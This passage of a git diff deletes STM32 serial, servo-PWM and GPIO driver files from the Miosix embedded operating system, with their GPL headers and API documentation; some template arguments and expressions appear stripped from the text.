Only supports USART1, USART2 and USART3 - * Additionally, USARTx can use DMA if SERIAL_x_DMA is defined in - * board_settings.h, while the other serial use polling for transmission, - * and interrupt for reception. - * - * Classes of this type are reference counted, must be allocated on the heap - * and managed through intrusive_ref_ptr - */ -class STM32Serial : public Device -{ -public: - enum FlowCtrl - { - NOFLOWCTRL, ///< No hardware flow control - RTSCTS ///< RTS/CTS hardware flow control - }; - - /** - * Constructor, initializes the serial port using the default pins, which - * are: - * USART1: tx=PA9 rx=PA10 cts=PA11 rts=PA12 - * USART2: tx=PA2 rx=PA3 cts=PA0 rts=PA1 - * USART3: tx=PB10 rx=PB11 cts=PB13 rts=PB14 - * If you board has a different mapping, use one of the other constructors. - * - * Calls errorHandler(UNEXPECTED) if id is not in the correct range, or when - * attempting to construct multiple objects with the same id. That is, - * it is possible to instantiate only one instance of this class for each - * hardware USART. - * \param id a number 1 to 3 to select which USART - * \param baudrate serial port baudrate - * \param flowControl to enable hardware flow control on this port - */ - STM32Serial(int id, int baudrate, FlowCtrl flowControl=NOFLOWCTRL); - - /** - * Constructor, initializes the serial port using remapped pins and disables - * flow control. - * - * NOTE: for stm32f2, f4, f7 and h7 you have to set the correct alternate - * function to the pins in order to connect then to the USART peripheral - * before passing them to this class. - * - * Calls errorHandler(UNEXPECTED) if id is not in the correct range, or when - * attempting to construct multiple objects with the same id. That is, - * it is possible to instantiate only one instance of this class for each - * hardware USART. - * \param id a number 1 to 3 to select which USART - * \param baudrate serial port baudrate - * \param tx tx pin - * \param rx rx pin - */ - STM32Serial(int id, int baudrate, miosix::GpioPin tx, miosix::GpioPin rx); - - /** - * Constructor, initializes the serial port using remapped pins and enables - * flow control. - * - * NOTE: for stm32f2, f4, f7 and h7 you have to set the correct alternate - * function to the pins in order to connect then to the USART peripheral - * before passing them to this class. - * - * Calls errorHandler(UNEXPECTED) if id is not in the correct range, or when - * attempting to construct multiple objects with the same id. That is, - * it is possible to instantiate only one instance of this class for each - * hardware USART. - * \param id a number 1 to 3 to select which USART - * \param tx tx pin - * \param rx rx pin - * \param rts rts pin - * \param cts cts pin - */ - STM32Serial(int id, int baudrate, miosix::GpioPin tx, miosix::GpioPin rx, - miosix::GpioPin rts, miosix::GpioPin cts); - - /** - * Read a block of data - * \param buffer buffer where read data will be stored - * \param size buffer size - * \param where where to read from - * \return number of bytes read or a negative number on failure. Note that - * it is normal for this function to return less character than the amount - * asked - */ - ssize_t readBlock(void *buffer, size_t size, off_t where); - - /** - * Write a block of data - * \param buffer buffer where take data to write - * \param size buffer size - * \param where where to write to - * \return number of bytes written or a negative number on failure - */ - ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - /** - * Write a string. - * An extension to the Device interface that adds a new member function, - * which is used by the kernel on console devices to write debug information - * before the kernel is started or in case of serious errors, right before - * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. - * \param str the string to write. The string must be NUL terminated. - */ - void IRQwrite(const char *str); - - /** - * Performs device-specific operations - * \param cmd specifies the operation to perform - * \param arg optional argument that some operation require - * \return the exact return value depends on CMD, -1 is returned on error - */ - int ioctl(int cmd, void *arg); - - /** - * \internal the serial port interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleInterrupt(); - - #ifdef SERIAL_DMA - /** - * \internal the serial port DMA tx interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleDMAtx(); - - /** - * \internal the serial port DMA rx interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleDMArx(); - #endif //SERIAL_DMA - - /** - * \return port id, 1 for USART1, 2 for USART2, ... - */ - int getId() const { return portId; } - - /** - * Destructor - */ - ~STM32Serial(); - -private: - /** - * Code common for all constructors - */ - void commonInit(int id, int baudrate, miosix::GpioPin tx, miosix::GpioPin rx, - miosix::GpioPin rts, miosix::GpioPin cts); - - #ifdef SERIAL_DMA - /** - * Wait until a pending DMA TX completes, if any - */ - void waitDmaTxCompletion(); - - /** - * Write to the serial port using DMA. When the function returns, the DMA - * transfer is still in progress. - * \param buffer buffer to write - * \param size size of buffer to write - */ - void writeDma(const char *buffer, size_t size); - - /** - * Read from DMA buffer and write data to queue - */ - void IRQreadDma(); - - /** - * Start DMA read - */ - void IRQdmaReadStart(); - - /** - * Stop DMA read - * \return the number of characters in rxBuffer - */ - int IRQdmaReadStop(); - #endif //SERIAL_DMA - - /** - * Wait until all characters have been written to the serial port. - * Needs to be callable from interrupts disabled (it is used in IRQwrite) - */ - void waitSerialTxFifoEmpty() - { - #if !defined(_ARCH_CORTEXM7_STM32F7) && !defined(_ARCH_CORTEXM7_STM32H7) \ - && !defined(_ARCH_CORTEXM0_STM32F0) && !defined(_ARCH_CORTEXM4_STM32F3) \ - && !defined(_ARCH_CORTEXM4_STM32L4) && !defined(_ARCH_CORTEXM0PLUS_STM32L0) - while((port->SR & USART_SR_TC)==0) ; - #else //_ARCH_CORTEXM7_STM32F7/H7 - while((port->ISR & USART_ISR_TC)==0) ; - #endif //_ARCH_CORTEXM7_STM32F7/H7 - } - - FastMutex txMutex; ///< Mutex locked during transmission - FastMutex rxMutex; ///< Mutex locked during reception - - DynUnsyncQueue rxQueue; ///< Receiving queue - static const unsigned int rxQueueMin=16; ///< Minimum queue size - Thread *rxWaiting=0; ///< Thread waiting for rx, or 0 - - USART_TypeDef *port; ///< Pointer to USART peripheral - #ifdef SERIAL_DMA - #if defined(_ARCH_CORTEXM3_STM32F1) || defined(_ARCH_CORTEXM4_STM32F3) \ - || defined(_ARCH_CORTEXM4_STM32L4) - DMA_Channel_TypeDef *dmaTx; ///< Pointer to DMA TX peripheral - DMA_Channel_TypeDef *dmaRx; ///< Pointer to DMA RX peripheral - #else //_ARCH_CORTEXM3_STM32F1 and _ARCH_CORTEXM4_STM32F3 - DMA_Stream_TypeDef *dmaTx; ///< Pointer to DMA TX peripheral - DMA_Stream_TypeDef *dmaRx; ///< Pointer to DMA RX peripheral - #endif //_ARCH_CORTEXM3_STM32F1 and _ARCH_CORTEXM4_STM32F3 - Thread *txWaiting; ///< Thread waiting for tx, or 0 - static const unsigned int txBufferSize=16; ///< Size of tx buffer, for tx speedup - /// Tx buffer, for tx speedup. This buffer must not end up in the CCM of the - /// STM32F4, as it is used to perform DMA operations. This is guaranteed by - /// the fact that this class must be allocated on the heap as it derives - /// from Device, and the Miosix linker scripts never put the heap in CCM - char txBuffer[txBufferSize]; - /// This buffer emulates the behaviour of a 16550. It is filled using DMA - /// and an interrupt is fired as soon as it is half full - char rxBuffer[rxQueueMin]; - bool dmaTxInProgress; ///< True if a DMA tx is in progress - #endif //SERIAL_DMA - bool idle=true; ///< Receiver idle - const bool flowControl; ///< True if flow control GPIOs enabled - const unsigned char portId; ///< 1 for USART1, 2 for USART2, ... -}; - -} //namespace miosix - -#endif //SERIAL_STM32_H diff --git a/miosix/arch/common/drivers/servo_stm32.cpp b/miosix/arch/common/drivers/servo_stm32.cpp deleted file mode 100644 index 07dcf7768..000000000 --- a/miosix/arch/common/drivers/servo_stm32.cpp +++ /dev/null @@ -1,356 +0,0 @@ - /*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "servo_stm32.h" -#include "kernel/scheduler/scheduler.h" -#include -#include -#include - -using namespace std; -using namespace miosix; - -typedef Gpio servo1out; -typedef Gpio servo2out; -typedef Gpio servo3out; -typedef Gpio servo4out; -static Thread *waiting=0; - -/** - * Timer 4 interrupt handler actual implementation - */ -void __attribute__((used)) tim4impl() -{ - TIM4->SR=0; //Clear interrupt flag - if(waiting==0) return; - waiting->IRQwakeup(); - if(waiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - waiting=0; -} - -/** - * Timer 4 interrupt handler - */ -void __attribute__((naked)) TIM4_IRQHandler() -{ - saveContext(); - asm volatile("bl _Z8tim4implv"); - restoreContext(); -} - -namespace miosix { - -/* TODO: find a better place for this */ -unsigned int divideRoundToNearest(unsigned int a, unsigned int b) -{ - const unsigned int quot=2*a/b; - return quot/2 + (quot & 1); -} - -// -// class SynchronizedServo -// - -SynchronizedServo& SynchronizedServo::instance() -{ - static SynchronizedServo singleton; - return singleton; -} - -void SynchronizedServo::enable(int channel) -{ - Lock l(mutex); - if(status!=STOPPED) return; // If timer enabled ignore the call - - { - FastInterruptDisableLock dLock; - // Calling the mode() function on a GPIO is subject to race conditions - // between threads on the STM32, so we disable interrupts - switch(channel) - { - case 0: - TIM4->CCMR1 |= TIM_CCMR1_OC1M_2 | TIM_CCMR1_OC1M_1 | TIM_CCMR1_OC1PE; - TIM4->CCER |= TIM_CCER_CC1E; - #ifndef _ARCH_CORTEXM3_STM32F1 //Only stm32f2 and stm32f4 have it - servo1out::alternateFunction(2); - #endif //_ARCH_CORTEXM3_STM32F1 - servo1out::mode(Mode::ALTERNATE); - break; - case 1: - TIM4->CCMR1 |= TIM_CCMR1_OC2M_2 | TIM_CCMR1_OC2M_1 | TIM_CCMR1_OC2PE; - TIM4->CCER |= TIM_CCER_CC2E; - #ifndef _ARCH_CORTEXM3_STM32F1 //Only stm32f2 and stm32f4 have it - servo2out::alternateFunction(2); - #endif //_ARCH_CORTEXM3_STM32F1 - servo2out::mode(Mode::ALTERNATE); - break; - case 2: - TIM4->CCMR2 |= TIM_CCMR2_OC3M_2 | TIM_CCMR2_OC3M_1 | TIM_CCMR2_OC3PE; - TIM4->CCER |= TIM_CCER_CC3E; - #ifndef _ARCH_CORTEXM3_STM32F1 //Only stm32f2 and stm32f4 have it - servo3out::alternateFunction(2); - #endif //_ARCH_CORTEXM3_STM32F1 - servo3out::mode(Mode::ALTERNATE); - break; - case 3: - TIM4->CCMR2 |= TIM_CCMR2_OC4M_2 | TIM_CCMR2_OC4M_1 | TIM_CCMR2_OC4PE; - TIM4->CCER |= TIM_CCER_CC4E; - #ifndef _ARCH_CORTEXM3_STM32F1 //Only stm32f2 and stm32f4 have it - servo4out::alternateFunction(2); - #endif //_ARCH_CORTEXM3_STM32F1 - servo4out::mode(Mode::ALTERNATE); - break; - } - } -} - -void SynchronizedServo::disable(int channel) -{ - Lock l(mutex); - if(status!=STOPPED) return; // If timer enabled ignore the call - - { - FastInterruptDisableLock dLock; - // Calling the mode() function on a GPIO is subject to race conditions - // between threads on the STM32, so we disable interrupts - switch(channel) - { - case 0: - servo1out::mode(Mode::INPUT); - TIM4->CCER &= ~TIM_CCER_CC1E; - break; - case 1: - servo2out::mode(Mode::INPUT); - TIM4->CCER &= ~TIM_CCER_CC2E; - break; - case 2: - servo3out::mode(Mode::INPUT); - TIM4->CCER &= ~TIM_CCER_CC3E; - break; - case 3: - servo4out::mode(Mode::INPUT); - TIM4->CCER &= ~TIM_CCER_CC4E; - break; - } - } -} - -void SynchronizedServo::setPosition(int channel, float value) -{ - Lock l(mutex); - if(status!=STARTED) return; // If timer disabled ignore the call - - value=min(1.0f,max(0.0f,value)); - switch(channel) - { - case 0: - TIM4->CCR1=a*value+b; - break; - case 1: - TIM4->CCR2=a*value+b; - break; - case 2: - TIM4->CCR3=a*value+b; - break; - case 3: - TIM4->CCR4=a*value+b; - break; - } -} - -float SynchronizedServo::getPosition(int channel) -{ - switch(channel) - { - case 0: - return TIM4->CCR1==0 ? NAN : TIM4->CCR1/a-b; - case 1: - return TIM4->CCR2==0 ? NAN : TIM4->CCR2/a-b; - case 2: - return TIM4->CCR3==0 ? NAN : TIM4->CCR3/a-b; - case 3: - return TIM4->CCR4==0 ? NAN : TIM4->CCR4/a-b; - default: - return NAN; - } -} - -void SynchronizedServo::start() -{ - Lock l(mutex); - if(status!=STOPPED) return; // If timer enabled ignore the call - - // While status is starting neither memeber function callable with timer - // started nor stopped are allowed - status=STARTED; - TIM4->CNT=0; - TIM4->EGR=TIM_EGR_UG; - TIM4->CR1=TIM_CR1_CEN; -} - -void SynchronizedServo::stop() -{ - Lock l(mutex); - if(status!=STARTED) return; // If timer disabled ignore the call - - status=STOPPED; - // Stopping the timer is a bit difficult because we don't want to - // accidentally create glitches on the outputs which may turn the servos - // to random positions. So, we set all PWM outputs to 0, then wait until the - // end of the period, and then disable the timer - TIM4->CCR1=0; - TIM4->CCR2=0; - TIM4->CCR3=0; - TIM4->CCR4=0; - { - FastInterruptDisableLock dLock; - // Wakeup an eventual thread waiting on waitForCycleBegin() - if(waiting) waiting->IRQwakeup(); - IRQwaitForTimerOverflow(dLock); - } - TIM4->CR1=0; -} - -bool SynchronizedServo::waitForCycleBegin() -{ - // No need to lock the mutex because disabling interrupts is enough to avoid - // race conditions. Also, locking the mutex here would prevent other threads - // from calling other member functions of this class - FastInterruptDisableLock dLock; - if(status!=STARTED) return true; - IRQwaitForTimerOverflow(dLock); - return status!=STARTED; -} - -void SynchronizedServo::setFrequency(unsigned int frequency) -{ - Lock l(mutex); - if(status!=STOPPED) return; // If timer enabled ignore the call - - TIM4->PSC=divideRoundToNearest(getPrescalerInputFrequency(),frequency*65536)-1; - precomputeCoefficients(); -} - -float SynchronizedServo::getFrequency() const -{ - float prescalerFreq=getPrescalerInputFrequency(); - return prescalerFreq/((TIM4->PSC+1)*65536); -} - -void SynchronizedServo::setMinPulseWidth(float minPulse) -{ - Lock l(mutex); - if(status!=STOPPED) return; // If timer enabled ignore the call - - minWidth=1e-6f*min(1300.0f,max(500.0f,minPulse)); - precomputeCoefficients(); -} - -void SynchronizedServo::setMaxPulseWidth(float maxPulse) -{ - Lock l(mutex); - if(status!=STOPPED) return; // If timer enabled ignore the call - - maxWidth=1e-6f*min(2500.0f,max(1700.0f,maxPulse)); - precomputeCoefficients(); -} - -SynchronizedServo::SynchronizedServo() : status(STOPPED) -{ - { - FastInterruptDisableLock dLock; - // The RCC register should be written with interrupts disabled to - // prevent race conditions with other threads. - RCC->APB1ENR |= RCC_APB1ENR_TIM4EN; - RCC_SYNC(); - } - - // Configure timer - TIM4->CR1=0; - TIM4->ARR=0xffff; - TIM4->CCR1=0; - TIM4->CCR2=0; - TIM4->CCR3=0; - TIM4->CCR4=0; - // Configure interrupt on timer overflow - TIM4->DIER=TIM_DIER_UIE; - NVIC_SetPriority(TIM4_IRQn,13); //Low priority for timer IRQ - NVIC_EnableIRQ(TIM4_IRQn); - // Set default parameters - setFrequency(50); - setMinPulseWidth(1000); - setMaxPulseWidth(2000); -} - -void SynchronizedServo::precomputeCoefficients() -{ - float realPeriod=1.0f/getFrequency(); - a=65536.0f*(maxWidth-minWidth)/realPeriod; - b=65536.0f*minWidth/realPeriod; -} - -unsigned int SynchronizedServo::getPrescalerInputFrequency() -{ - // The global variable SystemCoreClock from ARM's CMSIS allows to know - // the CPU frequency. - unsigned int freq=SystemCoreClock; - - //The position of the PPRE1 bit in RCC->CFGR is different in some stm32 - #ifdef _ARCH_CORTEXM3_STM32F1 - const unsigned int ppre1=8; - #else //stm32f2 and f4 - const unsigned int ppre1=10; - #endif - - // The timer frequency may however be a submultiple of the CPU frequency, - // due to the bus at whch the periheral is connected being slower. The - // RCC->CFGR register tells us how slower the APB1 bus is running. - // This formula takes into account that if the APB1 clock is divided by a - // factor of two or greater, the timer is clocked at twice the bus - // interface. After this, the freq variable contains the frequency in Hz - // at which the timer prescaler is clocked. - if(RCC->CFGR & RCC_CFGR_PPRE1_2) freq/=1<<((RCC->CFGR>>ppre1) & 0x3); - - return freq; -} - -void SynchronizedServo::IRQwaitForTimerOverflow(FastInterruptDisableLock& dLock) -{ - waiting=Thread::IRQgetCurrentThread(); - do { - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(waiting); -} - -} //namespace miosix - - diff --git a/miosix/arch/common/drivers/servo_stm32.h b/miosix/arch/common/drivers/servo_stm32.h deleted file mode 100644 index a3570d3c9..000000000 --- a/miosix/arch/common/drivers/servo_stm32.h +++ /dev/null @@ -1,196 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef SERVO_STM32_H -#define SERVO_STM32_H - -#include "miosix.h" - -namespace miosix { - -/** - * This class is designed to drive up to 4 servomotors. It generates - * four square waves that are synchronized with respect to each other, - * and allows the execution of code that is too synchronized with the - * waveform generation, to ease the development of closed loop control - * code using the servos as actuators. - * This class can be safely accessed by multiple threads, except the - * waitForCycleBegin() member function. - */ -class SynchronizedServo -{ -public: - /** - * \return an instance of the SynchronizedServo class (singleton) - * When first returned, the servo waveform generation is stopped. You must - * enable at least one channel call start() and setPosition() before the - * servo driving waveforms will be generated. - */ - static SynchronizedServo& instance(); - - /** - * Enable a channel. Can only be called with the outputs stopped. Even if - * the channel is enabled, when it is started it will not produce any - * waveform until the first call to setPosition() - * \param channel which channel to enable, must be between 0 and 3. - */ - void enable(int channel); - - /** - * Disable a channel. Can only be called with the outputs stopped. - * \param channel which channel to disable, must be between 0 and 3. - */ - void disable(int channel); - - /** - * Set the servo position. Can only be called with the outputs started. - * The written value takes effect at the next waveform generation cycle. - * \param channel channel whose output need to be changed, between 0 and 3 - * \param value a float value from 0.0 to 1.0. Due to the limited timer - * resolution, the actual set value is approximated. With the default values - * of waveform frequency, min and max width the range between 0.0 and 1.0 - * is covered by around 3200 points. - */ - void setPosition(int channel, float value); - - /** - * \param channel channel whose output need to be read, between 0 and 3 - * \return the exact servo position, considering the approximations. - * For this reason, the returned value may differ from the last call to - * setPosition(). NAN is returned if no setValue() was called on the channel - * since the last call to start() - */ - float getPosition(int channel); - - /** - * Start producing the output waveforms. - */ - void start(); - - /** - * Stop producing the output waveforms. If a thread is waiting in - * waitForCycleBegin() it will be forecefully woken up. - * As a side effect, the position of all the channels will be set to NAN. - * When you restart the timer, you must call setPosition() on each enabled - * channel before the channel will actually produce a waveform. - * This function waits until the end of a waveform generation cycle in order - * to not produce glitches. For this reason, it may take up to - * 1/getFrequency() to complete, which with the default value of 50Hz is 20ms - */ - void stop(); - - /** - * Wait until the begin of a waveform generation cycle - * \return false if a new cycle of waveform generation has begun, or true - * if another thread called stop(). Only one thread at a time can call this - * member function. If more than one thread calls this deadlock will occur - * so don't do it! - */ - bool waitForCycleBegin(); - - /** - * Set the frequency of the generated waveform. Can only be called - * with the outputs stopped. The default is 50Hz. Note that due to prescaler - * resolution, the actual frequency is set to the closest possible value. - * To know the actual frequency, call getFrequency() - * \param frequency desired servo update frequency in Hz - * Must be between 10 and 100Hz - */ - void setFrequency(unsigned int frequency); - - /** - * \return the actual servo update frequency in Hz. Note that the - * returned value is floating point as the returned frequency takes into - * account approximations due to the prescaler resolution - */ - float getFrequency() const; - - /** - * Set the minimum width of the generated pulses, that is, the pulse width - * generated when an output is set to zero with setPosition(x,0). - * The default is 1000us. Can only be called with the outputs stopped. - * \param minPulse minimum pulse width in microseconds. - * Must be between 500 and 1300. - */ - void setMinPulseWidth(float minPulse); - - /** - * \return minimum pulse width in microseconds - */ - float getMinPulseWidth() const { return minWidth*1e6f; } - - /** - * Set the maximum width of the generated pulses, that is, the pulse width - * generated when an output is set to one with setPosition(x,1). - * The default is 2000us. Can only be called with the outputs stopped. - * \param maxPulse maximum pulse width in microseconds. - * Must be between 1700 and 2500. - */ - void setMaxPulseWidth(float maxPulse); - - /** - * \return maximum pulse width in microseconds - */ - float getMaxPulseWidth() const { return maxWidth*1e6f; } - -private: - SynchronizedServo(const SynchronizedServo&); - SynchronizedServo& operator= (const SynchronizedServo&); - - /** - * Constructor - */ - SynchronizedServo(); - - /** - * Precompute a and b coefficient to make setPosition() faster - */ - void precomputeCoefficients(); - - /** - * \return the input frequency of the timer prescaler - */ - static unsigned int getPrescalerInputFrequency(); - - /** - * Wait until the timer overflows from 0xffff to 0. Can only be called with - * interrupts disabled - */ - static void IRQwaitForTimerOverflow(FastInterruptDisableLock& dLock); - - float minWidth, maxWidth; ///< Minimum and maximum pulse widths - float a, b; ///< Precomputed coefficients - FastMutex mutex; ///< Mutex to protect from concurrent access - enum { - STOPPED, ///< Timer is stopped - STARTED ///< Timer is started - } status; -}; - -} //namespace miosix - -#endif //SERVO_STM32_H diff --git a/miosix/arch/common/drivers/stm32_gpio.h b/miosix/arch/common/drivers/stm32_gpio.h deleted file mode 100644 index e48fe71bc..000000000 --- a/miosix/arch/common/drivers/stm32_gpio.h +++ /dev/null @@ -1,309 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2009, 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/* - * Versions: - * 1.0 First release - * 1.1 Made Mode, Gpio and GpioBase contructor private to explicitly disallow - * creating instances of these classes. - * 1.2 Fixed a bug - * 1.3 Applied patch by Lee Richmond (http://pastebin.com/f7ae1a65f). Now - * mode() is inlined too. - * 1.4 Adapted to stm32f2 - * 1.5 Added GpioPin for easily passing a Gpio as a parameter to a function - */ - -#ifndef STM32_GPIO_H -#define STM32_GPIO_H - -#include "interfaces/arch_registers.h" - -namespace miosix { - -/** - * This class just encapsulates the Mode_ enum so that the enum names don't - * clobber the global namespace. - */ -class Mode -{ -public: - /** - * GPIO mode (INPUT, OUTPUT, ...) - * \code pin::mode(Mode::INPUT);\endcode - */ - enum Mode_ - { - INPUT = 0b00000, ///Input Floating (MODE=00 TYPE=0 PUP=00) - INPUT_PULL_UP = 0b00001, ///Input PullUp (MODE=00 TYPE=0 PUP=01) - INPUT_PULL_DOWN = 0b00010, ///Input PullDown (MODE=00 TYPE=0 PUP=10) - INPUT_ANALOG = 0b11000, ///Input Analog (MODE=11 TYPE=0 PUP=00) - OUTPUT = 0b01000, ///Push Pull Output (MODE=01 TYPE=0 PUP=00) - OPEN_DRAIN = 0b01100, ///Open Drain Output (MODE=01 TYPE=1 PUP=00) - OPEN_DRAIN_PULL_UP = 0b01101, ///Open Drain Output PU (MODE=01 TYPE=1 PUP=01) - ALTERNATE = 0b10000, ///Alternate function (MODE=10 TYPE=0 PUP=00) - ALTERNATE_OD = 0b10100, ///Alternate Open Drain (MODE=10 TYPE=1 PUP=00) - ALTERNATE_OD_PULL_UP = 0b10101, ///Alternate Open Drain PU (MODE=10 TYPE=1 PUP=01) - }; -private: - Mode(); //Just a wrapper class, disallow creating instances -}; - -/** - * This class just encapsulates the Speed_ enum so that the enum names don't - * clobber the global namespace. - */ -class Speed -{ -public: - /** - * GPIO speed - * \code pin::speed(Speed::_50MHz);\endcode - */ - enum Speed_ - { - //Device-independent defines - LOW = 0x0, - MEDIUM = 0x1, - HIGH = 0x2, //Same as LOW for STM32F0/F3 - VERY_HIGH = 0x3, -#if defined(_ARCH_CORTEXM0PLUS_STM32L0) || defined(_ARCH_CORTEXM3_STM32L1) - _400KHz = 0x0, - _2MHz = 0x1, - _10MHz = 0x2, - _40MHz = 0x3 -#elif defined(_ARCH_CORTEXM0_STM32F0) || defined(_ARCH_CORTEXM4_STM32F3) - _2MHz = 0x0, - _10MHz = 0x1, - _50MHz = 0x3 -#elif defined(_ARCH_CORTEXM3_STM32F2) || defined(_ARCH_CORTEXM4_STM32F4) || \ - defined(_ARCH_CORTEXM7_STM32F7) || defined(_ARCH_CORTEXM7_STM32H7) - _2MHz = 0x0, - _25MHz = 0x1, - _50MHz = 0x2, - _100MHz = 0x3 -#elif defined(_ARCH_CORTEXM4_STM32L4) - _5MHz = 0x0, - _25MHz = 0x1, - _50MHz = 0x2, - _100MHz = 0x3 -#endif - }; -private: - Speed(); //Just a wrapper class, disallow creating instances -}; - -/** - * Base class to implement non template-dependent functions that, if inlined, - * would significantly increase code size - */ -class GpioBase -{ -protected: - static void modeImpl(unsigned int p, unsigned char n, Mode::Mode_ m); - static void afImpl(unsigned int p, unsigned char n, unsigned char af); -}; - -/** - * This class allows to easiliy pass a Gpio as a parameter to a function. - * Accessing a GPIO through this class is slower than with just the Gpio, - * but is a convenient alternative in some cases. Also, an instance of this - * class occupies a few bytes of memory, unlike the Gpio class. - */ -class GpioPin : private GpioBase -{ -public: - /** - * Constructor - * \param p GPIOA_BASE, GPIOB_BASE, ... as #define'd in stm32f2xx.h - * \param n which pin (0 to 15) - */ - GpioPin(unsigned int p, unsigned char n) - : p(reinterpret_cast(p)), n(n) {} - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - void mode(Mode::Mode_ m) - { - modeImpl(reinterpret_cast(p),n,m); - } - - /** - * Set the GPIO speed - * \param s speed value - */ - void speed(Speed::Speed_ s) - { - p->OSPEEDR &= ~(3<<(n*2)); - p->OSPEEDR |= s<<(n*2); - } - - /** - * Select which of the many alternate functions is to be connected with the - * GPIO pin. - * \param af alternate function number, from 0 to 15 - */ - void alternateFunction(unsigned char af) - { - afImpl(reinterpret_cast(p),n,af); - } - - /** - * Set the pin to 1, if it is an output - */ - void high() - { - p->BSRR = 1<BSRR = 1<<(n+16); - } - - /** - * Allows to read the pin status - * \return 0 or 1 - */ - int value() - { - return (p->IDR & (1<(p); } - - /** - * \return the pin number, from 0 to 15 - */ - unsigned char getNumber() const { return n; } - -private: - GPIO_TypeDef *p; //Pointer to the port - unsigned char n; //Number of the GPIO within the port -}; - -/** - * Gpio template class - * \param P GPIOA_BASE, GPIOB_BASE, ... as #define'd in stm32f2xx.h - * \param N which pin (0 to 15) - * The intended use is to make a typedef to this class with a meaningful name. - * \code - * typedef Gpio green_led; - * green_led::mode(Mode::OUTPUT); - * green_led::high();//Turn on LED - * \endcode - */ -template -class Gpio : private GpioBase -{ -public: - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - static void mode(Mode::Mode_ m) - { - modeImpl(P,N,m); - } - - /** - * Set the GPIO speed - * \param s speed value - */ - static void speed(Speed::Speed_ s) - { - reinterpret_cast(P)->OSPEEDR &= ~(3<<(N*2)); - reinterpret_cast(P)->OSPEEDR |= s<<(N*2); - } - - /** - * Select which of the many alternate functions is to be connected with the - * GPIO pin. - * \param af alternate function number, from 0 to 15 - */ - static void alternateFunction(unsigned char af) - { - afImpl(P,N,af); - } - - /** - * Set the pin to 1, if it is an output - */ - static void high() - { - reinterpret_cast(P)->BSRR = 1<(P)->BSRR = 1<<(N+16); - } - - /** - * Allows to read the pin status - * \return 0 or 1 - */ - static int value() - { - return ((reinterpret_cast(P)->IDR & 1<CRL &= ~(0xf<<(n*4)); - p->CRL |= m<<(n*4); - } else { - p->CRH &= ~(0xf<<((n-8)*4)); - p->CRH |= m<<((n-8)*4); - } -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/stm32f1_gpio.h b/miosix/arch/common/drivers/stm32f1_gpio.h deleted file mode 100644 index 64dfa67c3..000000000 --- a/miosix/arch/common/drivers/stm32f1_gpio.h +++ /dev/null @@ -1,267 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2009, 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along 